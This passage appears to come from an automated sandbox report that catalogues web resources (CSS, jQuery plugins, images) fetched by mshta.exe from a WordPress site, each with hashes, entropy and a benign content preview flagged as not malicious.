Preview:	/*************************...GENERAL..**************************/..camera_wrap a, .camera_wrap img, ..camera_wrap ol, .camera_wrap ul, .camera_wrap li,..camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td..camera_thumbs_wrap a, .camera_thumbs_wrap img, ..camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,..camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {..background: none;..border: 0;..font: inherit;..font-size: 100%;..margin: 0;..padding: 0;..vertical-align: baseline;..list-style: none.}..camera_wrap {..display: none;..float: left;..position: relative;..z-index: 0;.}..camera_wrap img {..max-width: none!important;.}..camera_fakehover {..height: 100%;..min-height: 60px;..position: relative;..width: 100%;..z-index: 1;.}..camera_wrap {..width: 100%;.}..camera_sr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\css[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	154
Entropy (8bit):	5.123661053174663
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFU/w7fqzNsqcdjKI9tB8gfKRfvYvn:0IFFN+56ZP7izNspdP9D8LAv
MD5:	B3F631391C5184932BA0D5AE887A2924
SHA1:	EC95EEB6AEC69F4EC64F20D53B807802716468CD
SHA-256:	2E3EDCE076C67951659C01C1A4B07592E6E9FF327D2C89EE660BBF47E2887D9F
SHA-512:	B840688F47BE36DD829F1473FB47E0703519968705D0324C62A3D081E557E8F5DC44F6EC7A2148A5B7567EA9800B171FA9F70E198E1948EE6E3006360D3FAD92
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:100
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 100;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\custom[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7063
Entropy (8bit):	4.760531090364714
Encrypted:	false
SSDEEP:	96:bHXKN1r0gCJ5e2zHdXv9CSjlvrOQLAn2jYU:bHaH0g4JXv9fJaWAn6p
MD5:	9CA23FDB7BD610BD719855071377B6EF
SHA1:	058963F75C878FA6E48671046293F9B70D35B5AB
SHA-256:	859D8F76737036B7C6475508DBA8DA8BD0764AA99CA5A9D4638FADC0238AB4A4
SHA-512:	15625C798E1402DACAFFBFBE064CD3D430D51FBB0E40890AD08A4F60389D24459C7B6E19030EDB32380377E73E0C387A819AB29AF308C5DE5C3E708AEA416556
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Preview:	// ---------------------------------------------------------.// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!.// ---------------------------------------------------------.jQuery(document).ready(function(){.// ---------------------------------------------------------.// Blog masonry.// ---------------------------------------------------------..if(jQuery('body.blog')[0]){...var isotope_holder = jQuery('.isotope');...isotope_holder.imagesLoaded( function() {....isotope_holder.isotope({.....itemSelector : '.post_wrapper',.....hiddenClass : 'hidden',.....resizable : true,.....transformsEnabled : false,.....layoutMode: 'masonry'....}).bind("resize.rainbows", function(){.....isotope_holder.isotope('reLayout');....}).trigger("resize.rainbows").css({'visibility':'visible'});...});..}.// ---------------------------------------------------------.// Call Magnific Popup.// ---------------------------------------------------------..jQuery(".thumbnail").parent().each(function(){magnific_p

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\error[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.js
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\error[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
IE Cache URL:	res://ieframe.dll/error.dlg
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\facex_horizontal2-e1535501425981[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 647 x 203, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22332
Entropy (8bit):	7.95225542017139
Encrypted:	false
SSDEEP:	384:uOarYkT57qgE2KHef+OaSjnSuvLYF4Ex+ZdnNqe7rS1:darV5ugE2KzO5bSuvLY6Ex0nZ/S1
MD5:	2480CFD093671638A8FB34154B96D47A
SHA1:	3F412F18AAAFDEDC7354C60A7B1CE6A5DD5168D3
SHA-256:	3B2E707E645AF05594B0E247F77AB992B59767637F9A21A34A826CC16E0250D2
SHA-512:	C6FF46FC26E7F934812382F0AAE8BABEC184207F00E4FE696BE92F9548DC3630657B5EFFD87EA284254A8E6A6DCFCCEB93862AD6DB0F6D6647E026346963158D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Preview:	.PNG........IHDR...............9... .IDATx..y\|T...?.;K&.!.$........#K@..nE....e.Vl..........i.....Rk!..\.......(.,!..I.!d..~.?f.If.=w.d&.y..W.=..3K.~.w.$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$..D".H$...ho V..l..We[@.LJ......m....3.Dp...Fb4........Cc...\{._.D".H$..Vz.8.{.d....)y._.p.@..9.D....f.01...S...lQ....5`m.D".H$.C.q....T..z..L........b0.dP)..2<.L..... .H$..D..!.wWT.i.....8.......L........<"5.[.H$..D.....H.pUQo%`.@.....Q...P.q9..D{?..D".Hz..J..=y2..T......D{?F... ~.U.......H$..D.....6....\|........f..m...........-...].4.<P....E.. .b..bBo......$.!.w......'.&%....n........~{.ZL".H$..$.]Z.~\qj...#L\|.....GN6...z..9.oj..Yc..T6t.ID.....I......NAn.d..{....R.G/.M...J$..D"..tIq..h.`......f...`.j\|Yy.......6C2.b...d`_..N:...._...b~(?7s..;.H$..D...R.p..d%N}.....u..f.~q.e.x..).[....L.M..,...........f....$..D".....8.]^.}..#B........Nb..U.Z{...3.+.+.za..,L.(...I.<.;...bv-..0.9...H$..D.].yq..p.0R.gAt....g....l..T.\.F1.j

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jflickrfeed[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1076
Entropy (8bit):	5.146194862266352
Encrypted:	false
SSDEEP:	24:2wFz5dxCwMo9Ip1Axquw14QOdq9aE0VrkV/VDFVHV6VJvV7d9r2lLnsn1Dn:FzVdYgqjOdquS9z1wJtJe7s1D
MD5:	FE76A6B329775418FB0EFE5FE8797001
SHA1:	6ADF84DEC08BAF40C1CB81BB94610EEBEB630451
SHA-256:	7F83A9259FD19BC18D4C3ED17095CBDE1A8974BA1E727F99321454E6F117D4E7
SHA-512:	D94D842E4461984D5858CA04B1C7C9B7F3BCDB25F6C8BD551F1CA6825ACC314DEE3E4F5605A97DD79EF92703BF5AB7B8DE9BE91C5802063A311C2945173397CE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Preview:	(function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=./<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+"}}","g"),a[h]);g.append(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jplayer.playlist.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	8844
Entropy (8bit):	5.1067637688011125
Encrypted:	false
SSDEEP:	96:dv+TrZD5ip1yplBpElBpqdpw2pu9pA2/U7F2SOZ9lKMBIfpxTb8CGK2jhsBdy8bp:d0BCIZWBgVkSDSmmhDIHK4wVYH4cUdb0
MD5:	F05AC1D7BF95BA34B8BCB05D4455D2E6
SHA1:	F27305CA2CBCCA78715683611FFF72DF3F1359CD
SHA-256:	6D7D547D752E1999718DD64FD26DDEFA7EEDADBB11A6461248C520BEAF0D6022
SHA-512:	C05432C613C91ABAB1BE1B564278400DEEAEDEDE50528A928CD9ADE047899FB4EE55D5843845D286450CA38EA440C00021CFD3F93873547D7F53BAF138096AF3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Preview:	/. Playlist Object for the jPlayer Plugin. * http://www.jplayer.org. . Copyright (c) 2009 - 2013 Happyworm Ltd. * Dual licensed under the MIT and GPL licenses.. * - http://www.opensource.org/licenses/mit-license.php. * - http://www.gnu.org/copyleft/gpl.html. . Author: Mark J Panaghiston. * Version: 2.3.0. * Date: 20th April 2013. . Requires:. * - jQuery 1.7.0+. * - jPlayer 2.3.0+. */.(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";.this.cssSelector.next=this.cssSelector.cssSelectorAncestor+" .jp-next";this.cssSel

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery-1.7.2.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	94840
Entropy (8bit):	5.372946098601679
Encrypted:	false
SSDEEP:	1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
MD5:	B8D64D0BC142B3F670CC0611B0AEBCAE
SHA1:	ABCD2BA13348F178B17141B445BC99F1917D47AF
SHA-256:	47B68DCE8CB6805AD5B3EA4D27AF92A241F4E29A5C12A274C852E4346A0500B4
SHA-512:	A684ABBE37E8047C55C394366B012CC9AE5D682D29D340BC48A37BE1A549AECED72DE6408BEDFED776A14611E6F3374015B236FBF49422B2982EF18125FF47DC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Preview:	/! jQuery v1.7.2 jquery.com \| jquery.org/license /.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTyp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.easing.1.3[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3300
Entropy (8bit):	5.21640221299254
Encrypted:	false
SSDEEP:	96:daBwwfAxMF8qm9FUAm1Cal7yS06jfkOA/W50UdDiAAlZd:sO2AxMF8qm9Wdcal7yS06jfkOGW50Ud6
MD5:	3720B3CCB887382D0716A49CC52D7901
SHA1:	AEB99C65DFE7E6BA2931AFD762E53579FE372CCD
SHA-256:	605B6FE57753665BD450CCC691B2B32EB508F05D8CB9BD3747D8F37C808990B1
SHA-512:	B7F89F83B51132C5D66E59FEC1DA6793638360B6691151C54D9799E0B58FB2D9E722A48E3014520628EC0771C2BB9703CFE9676DADE5E9F9BA010C62701CCC44
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Preview:	jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:.b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaaa+c:b/2((a-=2)aaaa+2)+c}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.mobile.customized.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	17219
Entropy (8bit):	5.3136571369702965
Encrypted:	false
SSDEEP:	384:9Cda0BL3liEPys8C5w+J1HAZ3vePKL3VYb2:YDdys8CuYKZ3vePKL3Wi
MD5:	F937C24AEE1A092CB9A337391ACFA645
SHA1:	22B537591377B42445B6383F54F6C05D4EBFE39A
SHA-256:	B5CF71E5EBD435D68E269558177FD4F444F36B0E8C18F7299F1590E0EE12B146
SHA-512:	9F2BE4FD1D3D2CBD2B8E7E4028F540C6CE0FD5889F4CD5BD2DB06076239E400CC07E0DB88319E9C3AAD8973E70CACAC5F69247DC7E09B777ECBF67C3F26FE059
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Preview:	window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=function(c,d){a.fn[c]=function(e){var f=typeof e==="str

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.mousewheel.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.304639490555412
Encrypted:	false
SSDEEP:	24:JNFww5yF1TY6APXYBfQJbHLcIYADqfIO0hz7aUIONhM7v9O9BK8:JbCsPXYBfQuIIkhzGUdhMLYLK8
MD5:	25DB04E9DAEE1C00F6CA337537C32C01
SHA1:	CC1D92C5536C9B2DD766B6EDDC0C8BA8CF831438
SHA-256:	C8104390115F92B27003B1E4E503EF59343CCFEF4AC19751093544E8CFAEAE26
SHA-512:	F5BCA70968AB8D030218485A4417E2AF39621F7E7DF150C9BCA84281801CA5A43B55759844D677626A5FF53BAD4C049C995E0DB72CB4B549766628718DE9E518
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Preview:	/! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net). Licensed under the MIT License (LICENSE.txt).. . Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.. * Thanks to: Seamus Leahy for adding deltaX and deltaY. . Version: 3.0.6. * . * Requires: 1.2.2+. /.(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)f

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\modernizr[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	12314
Entropy (8bit):	5.301581700967231
Encrypted:	false
SSDEEP:	192:Eu55THWDn9KHdfJJqbbo5jaSJJJkSeIUHV+2LDDhWwpy8b7z:j5RHWD9KxJJAo5jakrwHVrHh1pz
MD5:	8CEF5686125E254FB53C25F16E310525
SHA1:	93522E2AB068A3433331E08144722DD57A8FAE9A
SHA-256:	6C44371BECA8CB2A76B857B17532BB3512B2E68B4A8678AB4288B95353005A0F
SHA-512:	BBA61E0EC78AC07E6EF8D4195D6E17B6276559129749F1B1C836826AB5660CFC5441CB7F979EFDC7D5ED0931EC2AD8C6DC21BAEF83CB19218B107441B2A9E290
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Preview:	;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:abs

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\owl.theme.default.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1013
Entropy (8bit):	5.21364895278629
Encrypted:	false
SSDEEP:	24:0/emCtetORzuZiqMdhuzTqgfkPH2nouoKLn7tk8:uZo8WSZiqMAqgfW8L9d
MD5:	594B81805A98B267E47C70A8FAD30D9F
SHA1:	684D84EC40B305CA14EFC88C91F12972CB6342B4
SHA-256:	924B0DC630D1C5DFF9FA31AEAD9509775B1D476BFE0A5AC2977B2F11205A26AC
SHA-512:	B0C5ED30D2F5CD1CE894760A12E8CCD80A822D447D1760B8FF4E5C75BC638CB491BCC40872210F090668FBE9E4EE0A3706D4AE2BD91F6BFB3E6B87F88B9A4B93
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /..owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{backgr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\pt-br[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	687
Entropy (8bit):	7.458759901857417
Encrypted:	false
SSDEEP:	12:6v/7m/6T/MxuT6GaUz0uUVijlYa3uTr/xgJawYZnWGLJfcqREdlec:b/67tZaV+YwuPBw0RLrqd8c
MD5:	363DA7C647BE7AEFCF5505F4F89DC205
SHA1:	469D6084D160034D024AF67B4D61C0EDE98CFBA6
SHA-256:	F66C95E006D101DADB1678A583A35F52FBD20C7EB0CB05FF485019DBD0CE1D02
SHA-512:	31551E0ED608813FCA4955BB3ECF3311BF096585FAF0BBF8FA04FEDFCAA54D85B1555D314C074645221417B865AF08C1D86F08670454DF12828A1C4DED220209
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Preview:	.PNG........IHDR................a....pHYs................ cHRM..z%..............u0...`..:....o._.F...5IDATx..KHTa......s.q.F.il$E.I....iSd..,.ePF;w.....hW......&..%..............F.6...xx.x_!.d'#.Z.~}og,.........V%`:. .(.B.K.......:....-..$.#.(B.&.D......T!.....v..2.."....X..<M.....g...&..Nsh...v..U.0m.B.B....tt...=....UIwW.....j..$.#UL..@.(.&.p...tE.H.b...X..J...O.;...1.w}.a. ..[.-.E..S4...U.?2:...ti.z....G)Lu%Cg....9.-.I...dA.r"..\|#...udp..J._f~1.\|....h.2.s...1.Ym.i...5....j.+W.ez&..d...'.~.d.S.&.7...Zcu.`..^.K...lgd>..1n]H....-..b$2!\|5U\|.M.0.8.,t$...k..r...F.u..qy0.B.V..9....6.hI.e%..#e.`pF.@Ws.!1..g...(..f......"...8.%vZ........>)......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\scripts[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14585
Entropy (8bit):	5.05967424474738
Encrypted:	false
SSDEEP:	384:Y0KR2j16xNN7FUx4fCauIC+V+oeBKdYYJfRscKvVJVw1Iv3S3OVKEkl9UQznC:Rrj16xNN7Cx4fj4+WVJ/v3ZVAC
MD5:	80F051B85C7CC301D20DC6C522C71814
SHA1:	D8344EEE926EBE2F35396F51CFA5614CB4307B40
SHA-256:	C6138C4B65AAFF6E46D51C26096FFFFADD202974003AD0F6D4475B45204BD0AB
